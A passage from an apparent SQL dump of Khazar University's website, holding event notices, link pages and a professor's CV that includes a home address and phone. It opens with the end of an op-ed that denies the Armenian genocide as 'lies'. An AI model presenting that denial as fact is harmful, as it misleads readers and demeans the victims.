claims regarding so-called “Armenian genocide” will never end. As it was noted, along with the Armenian side, Armenian lobby and powers which are interested in the region are also involved in these activities. Those powers will always try to use “genocide” against Turkey as a weapon. At the same time, one needs to take into account that the claims of genocide is more related to recent years and future than remote past. Armenians also focus on the issue of “Armenian genocide” to overshadow the occupation of Azerbaijan’s territories, acts of genocide committed in these lands and get a reward instead of punishment for invasion. Therefore, the current strategy being used against Armenian activities would be an appropriate step in terms of exposing the lies about the “Armenian genocide” and bringing to the world community the Armenian aggressive policy and acts of genocide committed by Armenia. Only the removal of the above-mentioned shortcomings could lead to more serious results. Araz Aslanli, Especially for APA Analytic Center</div></div><br><p></p></div></div>'),(715,509,'en','Seminar for School Pupils','Seminar for School Pupils','<p>On March 1, 2016, the Khazar University Career Center held a seminar for high school students from Academic Zarifa Aliyeva Lyceum. 80 pupils from the lyceum participated in the seminar along with the school’s Psychology Center director, the assistant IT director of the school and several teachers. During the seminar, Ulviyya Huseynova, Khazar University Career Center Director, introduced Khazar University to the pupils and made a presentation about choosing the right career. She spoke to the participants about the university’s major programs, academic activities, social life and the Career Center. Several university students also participated in the presentation, including Fidan Rustamova (third-year student of the School of Engineering and Applied Sciences), Aynur Mammadova and Gunay Kerimova (fourth-year students of the School of Education). They spoke about the successes during their academic careers thus far.</p><p>Participants’ questions were answered at the end of the event.&nbsp;</p>'),(562,369,'az','Cəmil Həsənli','Cəmil Həsənli','<div><div><h1>Jamil HASANLI&nbsp;(Cəmil Həsənli)</h1><p>------------------------------------------------------------------</p><p>Professor of &nbsp;Khazar University&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>Date of Birth: 01.15.1952<br>Place of Birth: Bilasuvar, Azerbaijan.</p><p>&nbsp;</p><p>Married; has three children.</p><p>&nbsp;</p><p>Work Address: Mehseti Str., 11. Baku, AZ1096, Republic of Azerbaijan&nbsp;<br>Home Address:&nbsp;Mirza Fatali&nbsp;Str. 152, apt. 16, Baku AZ1065&nbsp;Azerbaijan<br>Work phone: (+994 12) 421 7916&nbsp;<br>Home phone: (+994 12) 596&nbsp;1901&nbsp;<br>Fax: (+994 12) 596 0895 (Please indicate “For Jamil Hasanli”)&nbsp;<br>E-mail: jhasanli@yahoo.com</p><p>&nbsp;</p><p>&nbsp;</p><p><strong>EDUCATION:</strong><strong>&nbsp;</strong></p><p><strong><br></strong>1998: The Summer Institute of Southern Illinois University (Carbondale, USA)&nbsp;<br>1993: Professor of Modern History&nbsp;<br>1992: Doctor of Historical Science&nbsp;<br>1983-84: Specialization course in Moscow State University&nbsp;<br>1984: Baku State University, candidate of Historical Science, PHD&nbsp;<br>1977-80: Baku State University, post-graduate student&nbsp;<br>1970-75: Baku State University, diploma of teacher in history&nbsp;<br><br></p><p>&nbsp;</p><p><strong>WORK EXPERIENCE:</strong></p><p><strong><br></strong>2011: History and Public Policy Scholar Woodrow Wilson International Center for Scholars (Washington, DC)</p><p>Since 2011: Professor at Khazar University&nbsp;(Baku)</p><p>1994-2011: Professor at Baku State University&nbsp;(BSU)<br>2000-2010: Member of Milli Mejlis (parliament) of Azerbaijan Republic&nbsp;&nbsp;<br>1993: Advisor to the President of Azerbaijan Republic<br>1992-93: Head of Department of Modern History of the European and American countries, BSU&nbsp;<br>1985-92: Assistant Prof. at the Baku State University&nbsp;<br>1980-85: Instructor of History at the Baku State University&nbsp;<br><br></p><p>&nbsp;</p><p><strong>COURSES TAUGHT:</strong><strong>&nbsp;</strong></p><p><strong><br></strong>1. Modern History of European and American countries&nbsp;<br>2. History of International Relations&nbsp;<br>3. History of the Cold War&nbsp;<br><br></p><p>&nbsp;</p><p><strong>PARTICIPATION IN INTERNATIONAL CONFERENCES:</strong></p><p><strong>&nbsp;</strong></p><p>2011: International conference in Sapienza University (Roma, Itali)</p><p>2011: International conference in Vienna Diplomatic Academy (Vienna, Austria)</p><p>2010: International conference in Humbolt University (Berlin, Germany)</p><p>2010: International conference in Teheran University (Islamic Republic of Iran)</p><p>2010: International symposium in Sendai University (Sendai, Japan)</p><p>2010: International symposium in Tohoko University (South Korea)</p><p>2010: International conference in Moscow (Russia)</p><p>2009: Economical aspects of the Cold War (Graz, Austria)</p><p>2008: International Seminar about Cold War (Vienna, Austria)</p><p>2004: Annual Conference Central Eurasian Studies Center (University of Indiana, Bloomington, Indiana)<br>2004: International Ataturk Symposium (Ankara, Turkey)</p><p>2003: International Symposium (Sivas, Turkey)</p><p>2002: International Symposium (Erzurum, Turkey)</p><p>2002: International Symposium (Sivas, Turkey)</p><p>2002: International Seminar on “South Caucasus and Cold War” (Tsinandali, Georgia)</p><p>2001: The Middle East Studies Association (MESA) of North America (San-Francisco,USA)&nbsp;<br>2000: International Seminar about Cold War and Southern Caucasus Republics (Tbilisi, Georgia)&nbsp;<br>2000: The Middle East Studies Association (MESA) of North America (Orlando, USA)&nbsp;<br>1999: MESA of North America (Washington DC, USA)&nbsp;<br>1999: Iran and The Great Powers (Tehran, Iran)&nbsp;<br>1998: MESA of North America (Chicago, USA)<br>1997: International Symposium (Kayseri, Turkey)</p><p>&nbsp;</p><p>&nbsp;</p><p><strong>MEMBERSHIP IN PROFESSIONAL SOCIETIES:</strong></p><p>&nbsp;<br>1999: Editorial Board Member, “Journal of Azerbaijani Studies”&nbsp;(Baku, Azerbaijan)</p><p><br><br></p><p><strong>SELECTED ACADEMIC WORKS:</strong>&nbsp;<br>&nbsp;<br><strong>Books:</strong>&nbsp;<br>1. Black Shadows on the “White Spots”. Soviet totalitarianism in Azerbaijan in 1920s and 1930s. Baku, 1991.&nbsp;(In Azeri)<br>2. The Republic of Azerbaijan in the System of International Relations in 1918-20. Baku, 1993.&nbsp;(In Azeri)<br>3. The Republic of Azerbaijan. From Turkish Aid to the Russian Invasion. 1918-20. Ankara, 1998.&nbsp;(In Turkish)<br>4. South Azerbaijan: Between Tehran, Baku, Moscow (1939-45). Baku, 1998.&nbsp;(In Azeri)<br>5. History. From The Past to the Future. Baku, 1998.&nbsp;(In Azeri)<br>6. The Place, where The Cold War started: Southern Azerbaijan 1945-1946. Baku, 1999.&nbsp;(In Azeri)<br>7. Soviet, American and British Confrontation in South Azerbaijan, 1941-46. Baku, 2001.&nbsp;(In Azeri)</p><p>8. South Azerbaijan: The beginning of The Cold War. Baku, 2003. (In Russian)</p><p>9. USSR- Turkey: The Training Ground of the Cold War. Baku, 2005 (In Azeri and Russian)</p><p>10. The first confrontation of the Cold War: Iranian Azerbaijan. Istanbul, 2005 (In Turkish).</p><p>11. At the Dawn of the Cold War: The Soviet-American Crisis over Iranian Azerbaijan, 1941-1946. Rowman&nbsp;and Littlefield Publishers, INC.&nbsp; Lanham-Boulder-New York-Toronto-Oxford, 2006.</p><p>12. USSR-Iran: Azerbaijan crisis and beginning of the Cold War. Moscow, 2006 (In Russian)</p><p>13. USSR-Turkey: from Neutralities to Cold War. 1939-1953, Moscow, 2008 (In Russian)</p><p>14. National question in Azerbaijan: political leadership and intelligentsia. 1954-1959. Baku, 2008 (In Azeri)</p><p>15. South Azerbaijan: The beginning of The Cold War. Tehran, 2008. (In Persian)</p><p>16. Khruschev’s Thaw and the National Question in Azerbaijan (1954-1959).Moscow, 2009 (In Russian)</p><p>17. The Foreign Policy of the Azerbaijan Democratic Republic (1918-1920). Baku, 2009&nbsp;(In Azeri)</p><p>18. Diplomatic history of the Republic of Azerbaijan. 1918-1920. Volume 1, Moscow, 2010 (in Russian)</p><p>19. Russian Revolution and Azerbaijan: Difficult Road to Independent, 1917-1920. Moscow, 2011 (in Russian)</p><p>20. From Neutralities to Cold War: Turkish – Soviet Relations, 1939-1953, Ankara, Bilgi Yayınevi, 2011 (In Turkish)</p><p>21. Stalin and Turkish Crisis of the Cold War, 1945-1953. Lexington books, Lanham • Boulder • New York • Toronto • Plymouth, UK, 2011</p><p>22. The Foreign Policy of the Azerbaijan Democratic Republic (1918-1920). Tehran, 2011&nbsp;(In Persian)</p><p>23. National question in Azerbaijan: political leadership and intelligentsia. 1954-1959. Tabriz, 2011 (In Persian)</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p><br><strong>Articles:</strong><strong><br><br></strong></p><p>1. The recognition of Azerbaijan’s sovereignty at the Paris Peace Conference.//&nbsp;<em>Azerbaijan</em>&nbsp;journal, No: 289, 1993 (Turkey)<br>2. Azerbaijan-American Relations.//&nbsp;<em>Azerbaijan</em>&nbsp;journal, No: 291-294, 1993 (Turkey)<br>3. Estrangement of Great Britain from Azerbaijan before the Russian invasion of 1920. //<em>Khudafarin</em>&nbsp;journal, No: 1, 1995 (Poland)&nbsp;<br>4. Ataturk: Independence and Nationalism.// Conference material, Ankara (Turkey), 1995.&nbsp;<br>5. Azerbaijan-American Relations from 1918-20. A page in their history”. //<em>Caspian Crossroads</em>, Vol. 2, No: 1, 1996 (USA)<br>6. M.A. Rasulzade and Republic of Turkey. //International conference material, Kayseri (Turkey), 1996<br>7. The struggle for Baku Oil at the end of the World War I. //&nbsp;<em>Caspian Crossroads</em>, No: 1, 1997 (USA)<br>8. Soviet invasion of South Azerbaijan.//&nbsp;<em>Tarih</em>&nbsp;journal, No: 137, 1998 (Turkey).</p><p>9. The spring of 1945: Moscow’s decisions and Southern Azerbaijan.//&nbsp;<em>Turk Dunyasi Arasdirmalari</em>&nbsp;journal, No: 121, 1999 (Turkey)<br>10. Southern Azerbaijan 1945: Turning Point in the History. //<em>Caspian Crossroads</em>, No: 4, 1999 (USA)<br>11. Southern Azerbaijan: Perturbed Spring of 1946. //&nbsp;<em>Conflict</em>&nbsp;journal, No: 2-3, 2000 (Baku)<br>12. “Reflection of the US-Soviet Post-War Confrontation according to the Released Russian Archival Documents”. // Iran and the Great Powers, thesis report, Tehran, 2000<br>13. The Leader of Russian Turks (A. N. Topchubashi). //&nbsp;<em>Turk Dunyasi Arasdirmalari</em>&nbsp;journal, No: 127, 2000 (Turkey)</p><p>14. February 1946: Qavam As-Saltanah\'s Moscow Visit”. //&nbsp;<em>Caspian Crossroads</em>, Vol.6, No: 3,&nbsp;2003 (USA)</p><p>&nbsp;15. Soviet Policy in South Azerbaijan, 1941-1946”. //&nbsp;<em>Vertikaly Istorii</em>, No: 5, 2003 (Georgia)</p><p>16. La prima crisi della guerra fredda: Mosca e il petrolio iraniano (1943-1946) //Ventunesimo Secolo, 2007, # 13 (di Jamil Hasanli e Vladislav Zubok) Italia, Roma</p><p>17. Reaktionen und Folgen im Sudkauasus // Prager Fruhling.das internationale krisenjahr 1968. Bohlau, Verlag, Koln,Weimar, Wien, 2008</p><p>18. Iranian Azerbaijan: The epicentrof the Cold War // The Caucasus &amp; Globalization, Vol.2, Issue 1-2, 2008, Sweden</p><p>19. The “Turkish Crisis” of the Cold War and the South Caucasian republics // The Caucasus &amp; Globalization, Vol.2, Issue 4, 2008, Vol. 3, Issue 1, 2009,&nbsp; Sweden</p><p>20. Stalins Griff nach den Schwarzmeerengen: Die Entwicrlung der sowjetisch-turkischen Beziehungen wahrend der ersten Phase des Zweiten Wetkrieges (1939-1941).// Uberfall auf Europa. Plante die Sowjetunion 1941 einen Angriffskrieg? Berlin, 2009</p><p>21. Le “Crisis turca” nella Guerra fredda // Ventunessimo Secolo, 2009, # 19 Italia, Roma</p><p>22. The Republic of Azerbaijan in International Relations System (1918-1920).// Azerbaijan in Global Politics: Crafting Foreign Policy. Azerbaijan Diplomatic Academy, 2009</p><p>23. Azerbaijan at the Crossroads of Epochs: The First Attempt to Join the Free World (1917-1920), Caucasus &amp; Globalization, Vol. 4, Issue 1, 2010, Sweden</p><p>24. The Recognition of the Democratic Republic of Azerbaijan at the Versailles Peace Conference.// Irs – Heritage, Spring 2010</p><p>25. Karabakh: Looking into the Past in Search of the Truth. // Caucasus &amp; Globalization, Vol. 4, Issue 3-4, 2010, Sweden</p><p>26. Chruschtschows Selbstinszenierung als Außenpolitiker Sowjetische Propaganda über den&nbsp; Wiener Gipfel am Beispiel Aserbaidschan. // \"Der Wiener Gipfel 1961, Chruschtschow &amp; Kennedy\". Diplomatischen Akademie in Wien, 2011, p.387-395</p><p>27.Moscow and the Delimitation of Karaabakh in the 1920s.//<strong>&nbsp;</strong>Azerbaijan in the World, An Electronic Publication of the Azerbaijan Diplomatic Academy Vol. IV, No. 16-20, 2011</p><p>28. How the Caucasian Bureau of the C.C. R.C.P.(b) Didcussed the Karabkh Issue in 1920-1923.// Caucasus &amp; Globalization, Vol. 5, Issue 1-2, 2011, Sweden</p><p>29. The historiography of the Azerbaijan Democratic Republic: Political conjuncture and reality.//Re-defining History. Historiography and Historical Understandings of Asian States in the Former Soviet Bloc. Edited by Hiroki Oka. Tohoku University, 2011</p><p>30. Kars Conference: Known and unknown facts.// Irs – Heritage, Autumn 2011</p><p>31.<strong>&nbsp;</strong>Der Kampf um das Erdöl im Nahen und Mittleren Osten.// Stalins Wirtschaftspolitik an der sowjetischen Peripherie. Studien Verlag, Innsbruck, Wien, Bozen, 2011,&nbsp; pp. 297-326</p><p>32 Nagorno-Karabakh: Old Delusions &nbsp;and New Interpretions.// Caucasus &amp; Globalization, Vol. 5, Issue 3-4, 2011, Sweden</p><div><br></div></div></div>'),(563,369,'en','Jamil Hasanli','Jamil Hasanli','<div><div><h1>Jamil HASANLI&nbsp;(Cəmil Həsənli)</h1><p>------------------------------------------------------------------</p><p>Professor of &nbsp;Khazar University&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>Date of Birth: 01.15.1952<br>Place of Birth: Bilasuvar, Azerbaijan.</p><p>&nbsp;</p><p>Married; has three children.</p><p>&nbsp;</p><p>Work Address: Mehseti Str., 11. Baku, AZ1096, Republic of Azerbaijan&nbsp;<br>Home Address:&nbsp;Mirza Fatali&nbsp;Str. 152, apt. 16, Baku AZ1065&nbsp;Azerbaijan<br>Work phone: (+994 12) 421 7916&nbsp;<br>Home phone: (+994 12) 596&nbsp;1901&nbsp;<br>Fax: (+994 12) 596 0895 (Please indicate “For Jamil Hasanli”)&nbsp;<br>E-mail: jhasanli@yahoo.com</p><p>&nbsp;</p><p>&nbsp;</p><p><strong>EDUCATION:</strong><strong>&nbsp;</strong></p><p><strong><br></strong>1998: The Summer Institute of Southern Illinois University (Carbondale, USA)&nbsp;<br>1993: Professor of Modern History&nbsp;<br>1992: Doctor of Historical Science&nbsp;<br>1983-84: Specialization course in Moscow State University&nbsp;<br>1984: Baku State University, candidate of Historical Science, PHD&nbsp;<br>1977-80: Baku State University, post-graduate student&nbsp;<br>1970-75: Baku State University, diploma of teacher in history&nbsp;<br><br></p><p>&nbsp;</p><p><strong>WORK EXPERIENCE:</strong></p><p><strong><br></strong>2011: History and Public Policy Scholar Woodrow Wilson International Center for Scholars (Washington, DC)</p><p>Since 2011: Professor at Khazar University&nbsp;(Baku)</p><p>1994-2011: Professor at Baku State University&nbsp;(BSU)<br>2000-2010: Member of Milli Mejlis (parliament) of Azerbaijan Republic&nbsp;&nbsp;<br>1993: Advisor to the President of Azerbaijan Republic<br>1992-93: Head of Department of Modern History of the European and American countries, BSU&nbsp;<br>1985-92: Assistant Prof. at the Baku State University&nbsp;<br>1980-85: Instructor of History at the Baku State University&nbsp;<br><br></p><p>&nbsp;</p><p><strong>COURSES TAUGHT:</strong><strong>&nbsp;</strong></p><p><strong><br></strong>1. Modern History of European and American countries&nbsp;<br>2. History of International Relations&nbsp;<br>3. History of the Cold War&nbsp;<br><br></p><p>&nbsp;</p><p><strong>PARTICIPATION IN INTERNATIONAL CONFERENCES:</strong></p><p><strong>&nbsp;</strong></p><p>2011: International conference in Sapienza University (Roma, Itali)</p><p>2011: International conference in Vienna Diplomatic Academy (Vienna, Austria)</p><p>2010: International conference in Humbolt University (Berlin, Germany)</p><p>2010: International conference in Teheran University (Islamic Republic of Iran)</p><p>2010: International symposium in Sendai University (Sendai, Japan)</p><p>2010: International symposium in Tohoko University (South Korea)</p><p>2010: International conference in Moscow (Russia)</p><p>2009: Economical aspects of the Cold War (Graz, Austria)</p><p>2008: International Seminar about Cold War (Vienna, Austria)</p><p>2004: Annual Conference Central Eurasian Studies Center (University of Indiana, Bloomington, Indiana)<br>2004: International Ataturk Symposium (Ankara, Turkey)</p><p>2003: International Symposium (Sivas, Turkey)</p><p>2002: International Symposium (Erzurum, Turkey)</p><p>2002: International Symposium (Sivas, Turkey)</p><p>2002: International Seminar on “South Caucasus and Cold War” (Tsinandali, Georgia)</p><p>2001: The Middle East Studies Association (MESA) of North America (San-Francisco,USA)&nbsp;<br>2000: International Seminar about Cold War and Southern Caucasus Republics (Tbilisi, Georgia)&nbsp;<br>2000: The Middle East Studies Association (MESA) of North America (Orlando, USA)&nbsp;<br>1999: MESA of North America (Washington DC, USA)&nbsp;<br>1999: Iran and The Great Powers (Tehran, Iran)&nbsp;<br>1998: MESA of North America (Chicago, USA)<br>1997: International Symposium (Kayseri, Turkey)</p><p>&nbsp;</p><p>&nbsp;</p><p><strong>MEMBERSHIP IN PROFESSIONAL SOCIETIES:</strong></p><p>&nbsp;<br>1999: Editorial Board Member, “Journal of Azerbaijani Studies”&nbsp;(Baku, Azerbaijan)</p><p><br><br></p><p><strong>SELECTED ACADEMIC WORKS:</strong>&nbsp;<br>&nbsp;<br><strong>Books:</strong>&nbsp;<br>1. Black Shadows on the “White Spots”. Soviet totalitarianism in Azerbaijan in 1920s and 1930s. Baku, 1991.&nbsp;(In Azeri)<br>2. The Republic of Azerbaijan in the System of International Relations in 1918-20. Baku, 1993.&nbsp;(In Azeri)<br>3. The Republic of Azerbaijan. From Turkish Aid to the Russian Invasion. 1918-20. Ankara, 1998.&nbsp;(In Turkish)<br>4. South Azerbaijan: Between Tehran, Baku, Moscow (1939-45). Baku, 1998.&nbsp;(In Azeri)<br>5. History. From The Past to the Future. Baku, 1998.&nbsp;(In Azeri)<br>6. The Place, where The Cold War started: Southern Azerbaijan 1945-1946. Baku, 1999.&nbsp;(In Azeri)<br>7. Soviet, American and British Confrontation in South Azerbaijan, 1941-46. Baku, 2001.&nbsp;(In Azeri)</p><p>8. South Azerbaijan: The beginning of The Cold War. Baku, 2003. (In Russian)</p><p>9. USSR- Turkey: The Training Ground of the Cold War. Baku, 2005 (In Azeri and Russian)</p><p>10. The first confrontation of the Cold War: Iranian Azerbaijan. Istanbul, 2005 (In Turkish).</p><p>11. At the Dawn of the Cold War: The Soviet-American Crisis over Iranian Azerbaijan, 1941-1946. Rowman&nbsp;and Littlefield Publishers, INC.&nbsp; Lanham-Boulder-New York-Toronto-Oxford, 2006.</p><p>12. USSR-Iran: Azerbaijan crisis and beginning of the Cold War. Moscow, 2006 (In Russian)</p><p>13. USSR-Turkey: from Neutralities to Cold War. 1939-1953, Moscow, 2008 (In Russian)</p><p>14. National question in Azerbaijan: political leadership and intelligentsia. 1954-1959. Baku, 2008 (In Azeri)</p><p>15. South Azerbaijan: The beginning of The Cold War. Tehran, 2008. (In Persian)</p><p>16. Khruschev’s Thaw and the National Question in Azerbaijan (1954-1959).Moscow, 2009 (In Russian)</p><p>17. The Foreign Policy of the Azerbaijan Democratic Republic (1918-1920). Baku, 2009&nbsp;(In Azeri)</p><p>18. Diplomatic history of the Republic of Azerbaijan. 1918-1920. Volume 1, Moscow, 2010 (in Russian)</p><p>19. Russian Revolution and Azerbaijan: Difficult Road to Independent, 1917-1920. Moscow, 2011 (in Russian)</p><p>20. From Neutralities to Cold War: Turkish – Soviet Relations, 1939-1953, Ankara, Bilgi Yayınevi, 2011 (In Turkish)</p><p>21. Stalin and Turkish Crisis of the Cold War, 1945-1953. Lexington books, Lanham • Boulder • New York • Toronto • Plymouth, UK, 2011</p><p>22. The Foreign Policy of the Azerbaijan Democratic Republic (1918-1920). Tehran, 2011&nbsp;(In Persian)</p><p>23. National question in Azerbaijan: political leadership and intelligentsia. 1954-1959. Tabriz, 2011 (In Persian)</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p><br><strong>Articles:</strong><strong><br><br></strong></p><p>1. The recognition of Azerbaijan’s sovereignty at the Paris Peace Conference.//&nbsp;<em>Azerbaijan</em>&nbsp;journal, No: 289, 1993 (Turkey)<br>2. Azerbaijan-American Relations.//&nbsp;<em>Azerbaijan</em>&nbsp;journal, No: 291-294, 1993 (Turkey)<br>3. Estrangement of Great Britain from Azerbaijan before the Russian invasion of 1920. //<em>Khudafarin</em>&nbsp;journal, No: 1, 1995 (Poland)&nbsp;<br>4. Ataturk: Independence and Nationalism.// Conference material, Ankara (Turkey), 1995.&nbsp;<br>5. Azerbaijan-American Relations from 1918-20. A page in their history”. //<em>Caspian Crossroads</em>, Vol. 2, No: 1, 1996 (USA)<br>6. M.A. Rasulzade and Republic of Turkey. //International conference material, Kayseri (Turkey), 1996<br>7. The struggle for Baku Oil at the end of the World War I. //&nbsp;<em>Caspian Crossroads</em>, No: 1, 1997 (USA)<br>8. Soviet invasion of South Azerbaijan.//&nbsp;<em>Tarih</em>&nbsp;journal, No: 137, 1998 (Turkey).</p><p>9. The spring of 1945: Moscow’s decisions and Southern Azerbaijan.//&nbsp;<em>Turk Dunyasi Arasdirmalari</em>&nbsp;journal, No: 121, 1999 (Turkey)<br>10. Southern Azerbaijan 1945: Turning Point in the History. //<em>Caspian Crossroads</em>, No: 4, 1999 (USA)<br>11. Southern Azerbaijan: Perturbed Spring of 1946. //&nbsp;<em>Conflict</em>&nbsp;journal, No: 2-3, 2000 (Baku)<br>12. “Reflection of the US-Soviet Post-War Confrontation according to the Released Russian Archival Documents”. // Iran and the Great Powers, thesis report, Tehran, 2000<br>13. The Leader of Russian Turks (A. N. Topchubashi). //&nbsp;<em>Turk Dunyasi Arasdirmalari</em>&nbsp;journal, No: 127, 2000 (Turkey)</p><p>14. February 1946: Qavam As-Saltanah\'s Moscow Visit”. //&nbsp;<em>Caspian Crossroads</em>, Vol.6, No: 3,&nbsp;2003 (USA)</p><p>&nbsp;15. Soviet Policy in South Azerbaijan, 1941-1946”. //&nbsp;<em>Vertikaly Istorii</em>, No: 5, 2003 (Georgia)</p><p>16. La prima crisi della guerra fredda: Mosca e il petrolio iraniano (1943-1946) //Ventunesimo Secolo, 2007, # 13 (di Jamil Hasanli e Vladislav Zubok) Italia, Roma</p><p>17. Reaktionen und Folgen im Sudkauasus // Prager Fruhling.das internationale krisenjahr 1968. Bohlau, Verlag, Koln,Weimar, Wien, 2008</p><p>18. Iranian Azerbaijan: The epicentrof the Cold War // The Caucasus &amp; Globalization, Vol.2, Issue 1-2, 2008, Sweden</p><p>19. The “Turkish Crisis” of the Cold War and the South Caucasian republics // The Caucasus &amp; Globalization, Vol.2, Issue 4, 2008, Vol. 3, Issue 1, 2009,&nbsp; Sweden</p><p>20. Stalins Griff nach den Schwarzmeerengen: Die Entwicrlung der sowjetisch-turkischen Beziehungen wahrend der ersten Phase des Zweiten Wetkrieges (1939-1941).// Uberfall auf Europa. Plante die Sowjetunion 1941 einen Angriffskrieg? Berlin, 2009</p><p>21. Le “Crisis turca” nella Guerra fredda // Ventunessimo Secolo, 2009, # 19 Italia, Roma</p><p>22. The Republic of Azerbaijan in International Relations System (1918-1920).// Azerbaijan in Global Politics: Crafting Foreign Policy. Azerbaijan Diplomatic Academy, 2009</p><p>23. Azerbaijan at the Crossroads of Epochs: The First Attempt to Join the Free World (1917-1920), Caucasus &amp; Globalization, Vol. 4, Issue 1, 2010, Sweden</p><p>24. The Recognition of the Democratic Republic of Azerbaijan at the Versailles Peace Conference.// Irs – Heritage, Spring 2010</p><p>25. Karabakh: Looking into the Past in Search of the Truth. // Caucasus &amp; Globalization, Vol. 4, Issue 3-4, 2010, Sweden</p><p>26. Chruschtschows Selbstinszenierung als Außenpolitiker Sowjetische Propaganda über den&nbsp; Wiener Gipfel am Beispiel Aserbaidschan. // \"Der Wiener Gipfel 1961, Chruschtschow &amp; Kennedy\". Diplomatischen Akademie in Wien, 2011, p.387-395</p><p>27.Moscow and the Delimitation of Karaabakh in the 1920s.//<strong>&nbsp;</strong>Azerbaijan in the World, An Electronic Publication of the Azerbaijan Diplomatic Academy Vol. IV, No. 16-20, 2011</p><p>28. How the Caucasian Bureau of the C.C. R.C.P.(b) Didcussed the Karabkh Issue in 1920-1923.// Caucasus &amp; Globalization, Vol. 5, Issue 1-2, 2011, Sweden</p><p>29. The historiography of the Azerbaijan Democratic Republic: Political conjuncture and reality.//Re-defining History. Historiography and Historical Understandings of Asian States in the Former Soviet Bloc. Edited by Hiroki Oka. Tohoku University, 2011</p><p>30. Kars Conference: Known and unknown facts.// Irs – Heritage, Autumn 2011</p><p>31.<strong>&nbsp;</strong>Der Kampf um das Erdöl im Nahen und Mittleren Osten.// Stalins Wirtschaftspolitik an der sowjetischen Peripherie. Studien Verlag, Innsbruck, Wien, Bozen, 2011,&nbsp; pp. 297-326</p><p>32 Nagorno-Karabakh: Old Delusions &nbsp;and New Interpretions.// Caucasus &amp; Globalization, Vol. 5, Issue 3-4, 2011, Sweden</p><div><br></div></div></div>'),(586,354,'az','Payız 2018 Fənnlər üzrə Qruplar','Payız 2018 Fənnlər üzrə Qruplar','<p><img src=\"/files/15_10_14_pawns-groups.jpg\" style=\"width:350px;height:217px;margin:7px;float:left\"></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p>'),(587,354,'en','Fall  2018 Groups for Subjects','Fall  2018 Groups for Subjects','<div><img src=\"http://www.khazar.org/files/15_10_14_pawns-groups.jpg\" style=\"border:0px  #000000;width:322px;height:200px;margin:7px;float:left\"></div><div><br></div><div><br></div><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p>'),(588,355,'az','Fakültə Elmi Şura protokolları','Fakültə Elmi Şura protokolları','<p><img width=\"500\" height=\"357\" src=\"http://www.khazar.org/files/image/15_10_14_cap.jpg\" v:shapes=\"Picture_x0020_1\" style=\"border: 0px rgb(0, 0, 0); width: 492px; height: 200px; margin: 7px; float: left;\"><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/social/1/G.April.pdf\">Graduation&nbsp;2016&nbsp;April</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/social/1/G.June.pdf\">Graduation&nbsp;2016&nbsp;June</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/social/1/G.September.pdf\">Graduation&nbsp;2016&nbsp;September</a></strong><br></p><p><a href=\"http://www.khazar.org/files/social/1/03.04.2017.PDF\"><strong>Graduation 2017 April</strong></a></p><p><a href=\"http://www.khazar.org/files/social/1/04.07.2017.PDF\"><strong>Graduation 2017 July</strong></a></p><p><strong><a href=\"http://www.khazar.org/files/social/1/27.09.2017.PDF\">Graduation 2017 September</a></strong></p><p><a href=\"http://www.khazar.org/files/social/1/13.04.18.PDF\"><strong>Graduation 2018 April</strong></a></p><p><strong><a href=\"http://www.khazar.org/files/social/1/09.07.18.PDF\">Graduation 2018 July</a></strong></p><p><a href=\"http://www.khazar.org/files/social/1/SCAN.PDF\"><strong>Graduation 2018 September</strong></a></p>'),(1935,1185,'en','Web of Science Training at Khazar University','On June 7, 2016, the Division of Graduate Studies and Research organized a Web of Science training at Khazar University with the participation of Darya Bukhtoyarova, Customer Education Specialist at Thomson Reuters for Kazakhstan, and Aygun Babazade, Customer Specialist for Azerbaijan.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nJune 7, 2016, the Division of Graduate Studies and Research organized a Web of\r\nScience training at Khazar University with the participation of Darya\r\nBukhtoyarova, Customer Education Specialist at Thomson Reuters for Kazakhstan,\r\nand Aygun Babazade, Customer Specialist for Azerbaijan. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">&nbsp;&nbsp;&nbsp;&nbsp;Members\r\nof Thomson Reuters made a presentation about the Web of Science Core\r\nCollection, selection criteria for journals in Thomson Reuters and other\r\nrelevant issues concerning searching the Web of Science collection. After the\r\npresentation, the members of Thomson Reuters answered participants’ questions.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">&nbsp;</p>'),(1936,1186,'en','Exhibition in Honor of Khazar’s 25th Anniversary ','On June 8, 2016 at 15:00, an art exhibition coordinated by the Department of Music and Fine Arts will be held in the Marble Hall on Khazar University’s Neftchilar Campus in honor of the university’s 25th anniversary. ','<p>On June 8, 2016 at 15:00, an art\r\nexhibition coordinated by the Department of Music and Fine Arts will be held in\r\nthe Marble Hall on Khazar University’s Neftchilar Campus in honor of the\r\nuniversity’s 25th anniversary. Faculty, staff and anyone interested in the\r\nexhibition are welcome to attend.&nbsp;</p>'),(1937,1186,'az','Xəzər Universitetinin 25 illiyinə həsr olunmuş sərgi keçiriləcək','2016-cı il iyunun 8-də saat 15.00-da Xəzər Universitetinin Mərmər zalında (“Neftçilər” kampusu) Musiqi və incəsənət departamentinin təşkilatçılığı ilə universitetin 25 illiyinə həsr olunmuş tələbələrin rəsm əsərlərindən ibarət sərginin açılışı olacaq.','<p>2016-cı il iyunun 8-də saat 15.00-da Xəzər Universitetinin Mərmər\r\nzalında (“Neftçilər” kampusu) Musiqi və incəsənət departamentinin təşkilatçılığı\r\nilə universitetin 25 illiyinə həsr olunmuş tələbələrin rəsm əsərlərindən ibarət\r\nsərginin açılışı olacaq. Əməkdaşlar və digər maraqlananlar dəvət olunurlar.</p>'),(1938,1187,'az','Xəzər Universitetinin 25 illiyinə həsr olunmuş konsert olacaq','2016-cı il iyunun 9-da   saat 18.00-da Xəzər Universitetinin Mərkəz kampusunda...','<p style=\"margin-bottom:0.0001pt\">İyunun 9-da&nbsp; Xəzər Universitetinin Mərkəz\r\nkampusunun konsert salonunda Musiqi və incəsənət departamentinin təşkilatçılığı\r\nilə tələbələrdən ibarət rəqs ansamblının 